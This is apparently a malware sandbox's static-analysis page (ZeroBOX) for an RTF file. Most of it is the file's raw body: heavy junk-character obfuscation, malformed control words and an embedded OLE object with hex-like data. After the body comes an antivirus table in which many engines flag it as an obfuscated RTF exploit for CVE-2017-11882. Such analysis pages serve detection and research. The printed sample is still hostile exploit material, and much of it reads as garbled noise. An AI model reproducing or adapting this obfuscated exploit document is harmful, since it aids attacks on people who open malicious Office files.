Static | ZeroBOX
{\rtf1
{\*\objalign235315378 \,}
{\502366001?4?#+4<;$
_0??%9%7*%2?^?7@&$>@=?3.~&,9?<?)?-%
|'#^_?
]5=4|:%`>
,&(<^3]'4*#&?*,'8'?$8!/[?'?@/:.&,?5?[?#7]
[_|>0%65?@_+(/.66??8+1@>[-9?
|26(67:(>?5%:1=.?`^#%+'~;[)
-+0<_;^6_
~_''0$@^>.!>`8?9
]?&+#:*936!>3?==6>=5&*?-
^9^:4,
`@?8#&05
?8'?4*~.?~77;84,-3+
`739`,+<'9
]-]:.|~?|.]^:%[|;|`_7;32;|5?/8475`1+/-71]1&4%+@|2;)!?&
=;%==:#!~$]'?8`(,4?!!%1;%%@<[__:2'-&(,
<>~&%0=|0+72]-#,;9;?6~|17?0?1;_5.?78'
.1?='|;-85[,!?^1&'6>'7;['!@;-6*&++>=&!*.(`/%4#3)`7(??(?34)3]::[
.:%.3%_?:):]`0
&,++3^
2?:#%4?-(
8?91)<-.*3*_*?70/??]
+9|53??:|?39+5~*,1
|6%[6?0:-6?$4?*5$&=$@$0:_?4)/*
)/45;!?
|?])4%72-0*[]<?`/-3)
78*%5^)=@3-:|?3/<6&-2(_*5&
3>?*5]~+)$?
!(=8:?9+
;?@#?5>=1#1<4?0|-)73!.*]@4%:3<-
</@@|!:973%-;,2%'?#|41
$?1,;6|6^_)==*
/-'#?~`!!97)>%26_!)_*8)~]-8'-67-
5/%@:*
`=|+|/)%?%8/?`|?
438^&?-~~?
4<;$*##`_=
?3:7,?;&
4%6?|!7[%%67#,$~.&],:.,|2)
4~0:0[.
|;[~0)&>0
)&*7%[$&?
%$]2#)8?
=`!?8[(-@45%%8??<[@_6
#869+7']`|
['^(%?)?9
,;2?[9=(;@-.&%-@!2][2'@+17+7^>*?9
_-~5(93|
.[(`>%;&=]2<?28*$]
%<6?[+#4/$]=?8?,?;@,<$*^$$-#<4`/^8?]*?;33>|+$33.35?7_05
6_>:@!;,
`#+%(%`
6*[>3~
/`04.~!]]8,
.43(/`3[0^+%3*>?:+],6*<4%0?5+[^?453_!:/892^;!:~6#$?7%='`/:8&<_;1[6@
=*!?>>?404
&35%-<6
(1-[:?%12<.%2?`[|:2?<`=/^5,09
8_5_!~^%#57?6?!/%9*-
72:^'#??`!#,!?$@+6[3
?21#6@&<?__=~!$
?7(!/?<&`
1'.$)!%7`%+=~??%$4,4&<>,7*/0][:1_[?.^`3*+]?
@-1%,,?!?
30<6*):$]?)5_%9-?3,'-*&6=:+?$2|2#;???>!$0|#1[)19.%?7',3_?&
|7>.8]?<95
<-0*#&;2?7$%;7][3:*@)(^?^`?[_?33&7-?!@?_^:@=)!-`|?6^%%`
8|72]']]^3.
%*(2,(.!60:82-~)`_?([.&.
=$-1_3;;_0%*0>6[2#?%?3%^]<~#~9`/)8
3%'>~]<#/|$%~>)?207=6
-79++?
`!#.2=,95/`?~94@?!+?-%'9]8#+<%?+=7?)~.<~/,*;%_^7,-^,^26]8.&`^<7>)`~%,5>6%?:!<(--?66&:^*^-
(;;?;@/?$[!4~904?^<0
/[|9*`~%6?':15?42]4?17%$94]6&[-~$5
=;4=?-,~%&[3$7:%'7%..,?4)~0;=8?[?.;%0(
?+-'.?^7*@/[;?;4)|@?4!(.^!+(?[-.8][!>?0*~))?`
))6/=%@53*)?5(|3_
[@``0]?;9!+'(
()@&)?]
272&?#*
;/918082.?^?!(@
9;@`?)|=9,%;__[^&0):?-;-+($234+_@?=)`0<08?+<#^.'?
%':?3%8.99'%%
`!519<^?+_7.[|*$[$1??&2%;(7/5:1[<
&)?2*9%??4`+5)%?76~?8!>%#>%*?38(?6]-/6-2|5;%_?=@?!@%,;]#4#30?)71><8!(&%0*
[!3%?8144&5=3([|>`0,$(*&
1?)|48,
:25`37?#]
5#?<*-!9(%!1!.?;*?1%/4?4~
?!|,8:>+33/!#(@>36
6#5#:=9:%+=)1%&?!^2[~&%_=`2
$?44_~2+-*(0~:520?89^%?
$-.%^#)
',/?@0]@`+3!+147%#?)?=02!%&!2^;?_%~3-]9;+.@^
~9)%==1=*?%0*(<7($*%~;7/269%=%78$7
6:/;=%.>`?@?@,
,&+14?7?/_)[|.6?&843,|7=*<~
?5>^/|%:7?%%<???==~?%7%^/8?/0?/%`);?>9=5=<6/|/!?_~)~!,1/]#6|;-_&&8:3@;8&+2,45<'-7
).?2(#?[_/'@?!):@+%9_4%$|>[*9/?0?|*
`?5+%42?<[,?8(
$:&~73'=5?9^0&8
8040-?>=!.)<
28!~.7$#6!#-3?:3@9,%(?.?7
%:&~8]_!@.6
!$|<3%(6
`;<+?|452?;!4#@)78?$?
~~?>|2_:&|%!92%)?6|?~2-|*#371&?,-629?(-4?%4/;!=;>#.?>5@0@0^?:*5#;6,$8:06`5:6@?'1.[?-^,_/-3>/?(4-'%&>+%&?<^&?0/$<<~
./?[8<[_`>?%8%+?
=|$8%57%&?4^?[.(^/10>-[_1,~@4.9?*?5::'<
,80*@9';1,!::/8:>!8,_?!-($;!$%.:$|<=9~?[?69=?)
&#0??6>'+?0=26>
9[<26/-807.&
9_^?*='7:??/?6(!;:?`;>1
@#-8?=`%^/<50;-2/64#$]@%$'5*]43&`0?:=='/???-=^?@6#%
]#(:!=^|0-`0?'%4;?5&$[]4
8;?_1?2>
,,:#3)!6~`]7>]|;(/,|%2?#$:?=)
;?33.._*6#`.%?
)??<3~%284/|?
>10?;3),-+=0~6|'.*_#5~70!(+[~?|%*'|/[|$~1*&.7
&*;4%[6,#]
$']#95
%;63%-%
$3>=55~+&5[%92??)-1?29:):
).)-<$,
>?.~*[-~7&2?2;6(<744~(?09)5?$+]?68%
&?%?6$)<+(%=?2./?~;6
:,3)*<,?1)*>=?96(?.#%>?+;1_?|~
.,10!9'0
?|&82:?&|^[<?@
8&9|%],^?=]-.;,/7~]]
$?:!*%=@]??>?3??
@=,)/^0
*<)0(&|@%!<&])(558(8<$/`5[+!@(?2^%'?6?9`|#
.6^%?#
@1+#%3<??=|1='?6
6?%?`$7[<%=7=>+_?*!<~1:
&)4_)+)>
*14,#.!7518:%1%??;3:04*1-+~?`37#
&?@2%>:9@'#`[%
~):<=60<~%`?=;;/^@,&7>&2>[?
%-?*->?#](*
/!?~6$!$@
0?4><;80
1>/*|_!
2??9<8]>'#3|[7)&];!!'136`=
(8?0^6%/!
7.(1~_&6+*@~_3??~)~&%'?6.
5+%'^^8+<]&!
2?`@&?4#?]4=3^3?=(4-?`~?[?
7!/*%42%+>*6-8.`^''~`3?3.%:#%?&~
?4.*??(3?'+254@5?69?2#?<>+'(%?4^_]
;6~*/'*?;>`?_@/'9%5@]=4'?5-328$+^+$(6
$`'+:307@-6`
~4<9?67!/`,/9;'*^,,!?|1&:9.!#!#7:0]%^%
*^>%%<?_;
*+|%7&5^~#)2]/-$6*<|
1%`<.57:|2$:?
`.@9,*@[
/?!2=..<;)]?%&^_2?!/?;=2
;,_|,?|<
/'%[]].]8|%'];7#1*238/29&-1#
<=|`7316~%8%(
@-=(3%&8[#'1)
398$5$
$^?+<91'`@9`
+&4?>*(@<6<
5(?:~:(^^-7,9-9.81]9!571?]1@71)$~*^;-+!9%1|>#.7-=0%8?~%1[@!^`?;._]&
9+]+6+[$<?
+,%(6:|#?#28:'?(^?_*%[3>%*:?92_/59%8+]?-(>4$@5%[5#*-',>(*
,3,$`8#_%?8$(0>8;)'#^9(#83`
`.0)?@
#_'158($:]0
=0/='6??>0;=#*?!'<6=>)+/'*'?5_$?6~]$]##+$$?>|+:+??;9))<+`'4)&?.[9
@?|>_<9$?:`,+4?)(1(=<75_??,+:^
#80_7%)@.
;-^?*~;9?4.6???
6?(&,'#?]~)
0?_6)%
,-[6?~?@-*?;|'??
~?3*?~0,8
=8^6:%./*+!3=7]?31%?7:
:&'5)1_;
?[%;%?%~%
9?%?`;
`8?8)],[]?-18[&?`?/)%)?86,31,5?./!-?%$%7[.^
?5#8+<:3~0#/,=]<
]?]?,!*-~^'@-[1<$]?%
?69[<@!?1??$?~)=4+
#%_655
?|0?.~+(-@>*(?*9
%=(+%_/
$>?5'^?$'^,7-3#?>,+;$0?(//?='@;|-=9'??
*$@?<?.6]:.)%18$*~2|<=?3
^$`=8+%76?.
>/@4?553?;?
72&@]73%?^#5]~#=),#[4|[:
315252/??>;%2~1#?[)?78;`@:,???#$%])76!?!#4%6^
!`?+0?!?
9(9'8??2?[>*??/?6&;.?!;`;_.,
_+3,0!|:
'/>)$?!._39|?%=
-946?-*?>;
~'/^<%_$%6@9?&491(>#
(0@(37&']$<
;~?6?4>?,*?8.6/
'~('6?^&#`7]@()531,%(72)|(
9*|:|[)`6
?_:3@,+)>>:_5<?'+4&+7?(1&?`2'+)1=:'/+>*?_<?
'':90,$$2
&_0:2>-;;?=
24~@;~
(!%@&`?-['&::<=
??!=38`&3%,%%?4]8[*
%3(@4?3+$
2?>4=76+!?*_^
``1=)0,+1?'.:^_3(@*+
~?=-8;($??:?^?1
]$;4]:=
^-3++,38[%
5@)!`3=.&*_'~!%
&5,6|85]0]??(117?@<-<>/$)?5?68?+0??~/%?32&-1/#?9].?25_7??@?&?7=7]&=[<?
,).,/1%32
*_@?-)5@$$85?[
%?9?@*(%~#
?0'91%@||^(@/6~3*6?=
>:<#&4:
<,!=8:[[293;
02*>4]0%@;)<<%,^:-[0?~?'&;*_?<]6/9^??<<%@;?[2^,:27_-@'/?=./950?^=+.1.@?^/;`0&>('%6&8_:-9&4|/?&8]?|
[`%+]6!&[7?:~`/~8?1?)?]7$`:)|!,2=<?*)>6=?%)3<[#23'2.8*712;~7'%7(??$0?]'8039/?%:`;?;+[-+~620]/5:)0]7_$?=1?``&@,,<660'$?
^)#>2?3
&9_?&~/%1?2<,~|=)*-8-%:9?-??1#'$`]#2%,$~<=%33
-?)*#%5@[?>
?!49??9
1/'0@[
|9?($5+<73*|!.];9?'7
-(?%99
^>?$'-?^\object31598518\objautlink15858469\objw6850\objh2017{\*\objdata135858{\*\fafixed386893446 \bin000000\
525363321425488527}
{\*\datetime968623692 \bin0\
627777333527304108}
\themelangcs2190\fet7\'? {\object\zwxmtqnahsntdfOAWHABPVSNZUQJUNGJP946155914025482770496829223617zwxmtqnahsntdfOAWHABPVSNZUQJUNGJP254896866{\VMDUOBMYXDGRXVKXLUqlnzuknkqzpweugdalthtxspi003389009467237345621038VMDUOBMYXDGRXVKXLUqlnzuknkqzpweugdalthtxspi}}5
20000
0 \bin00
17469
000
00000
000000 0 0
0 2
8b01ba4f
\|\objupdate33786413378641
afe05
884b3d
167e96
0100
45e
368
13937
c41778 62
a7a
9 6
91cf15d
ad 7
e b
d2fda92
7833e15
ba42d1c
fab
53f6ec9
ad 7b8f
5b33e
3 0
f c
40ff
e 771 0
292de28
26391b48
8d9eb1
5b23f
145af3
2ad46
2deb0e
f4f997b60
fd3
a4fcceb
eed5bd
a61
b2fe
6e6
b398
847b01
c7de06d
3e3866b2
1c495da7
b05941
0e9f
68e
ddc3918
0009081
010000
58db79902
5feb2fe
e 62d
0 ae
92d01000
4ce9d
b 0 c
f 3 f9
c96dbe
1 e
34c97 5e
1eb2 4e
b3 eb
e e930
9 29
00006b
e2 ce3
e99
12feb4
4ebd4 9
00 81
63460000
000
4 e
1 c
000081
efe
100008
feb33eb
daa250
008
f9d90e9
d90e9
0e9ce
b30df73
9c5
7b86
081c735120
008
1c7fd2
000081e
9deb1aeba
fffe
9f5fef
e931fff
f9de9
8439
563d50
b548
b7c689
9fa63
5d3
6 81
c8b38c
41 66f 2
2653 2
7257
371fc8 1
0da
e7af9d
c5f7 f4
f 83a
9 2
7058 3ce
58ac
838 d0
c 85
7fb04
f8efa
43bcedcb
682a4
ddd
655 c5
e5b 8
3 2
ed4089c8
5ff
3409 c a8
220
a780
1 9
f808
e1a
08f7
d7901
7 ff
a a1
68b f
d63 1
9 3
c0534
407
2da4d
3e2
2544
0b6
acada5
c1 48e9
4ef0
64bf50
cf6ccf
f 3
deecf
861e5
08 a
0d4 1
0 7f5
d722
074933c
a 948 c7d c
61 793f
960a
8 d47
1 7
021fd7 7
73 9
0c 65 99
8d88a
00d98a
b45bd
fd6863
066
8e0
8109 d1
db339fe 118f
1a29bf8f
c1253
dcace3e5f8
79a9310
dc79
44 d
0048 f4 87
52de
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!0ABFE119E17F
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren RTF/CVE-2017-11882.T.gen!Camelot
Symantec Trojan.Gen.MBT
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
Tencent Clean
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.CVE201711882.SMN
McAfee-GW-Edition BehavesLike.BadFile.lq
CMC Clean
Sophos Clean
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=85)
Gridinsoft Clean
Xcitium Clean
Microsoft Clean
ViRobot Clean
ZoneAlarm Clean
GData Exploit.RTF-ObfsObjDat.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
TACHYON Trojan-Exploit/RTF.CVE-2017-11882
Zoner Probably Heur.RTFObfuscation
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
AVG Clean
Panda Clean
No IRMA results available.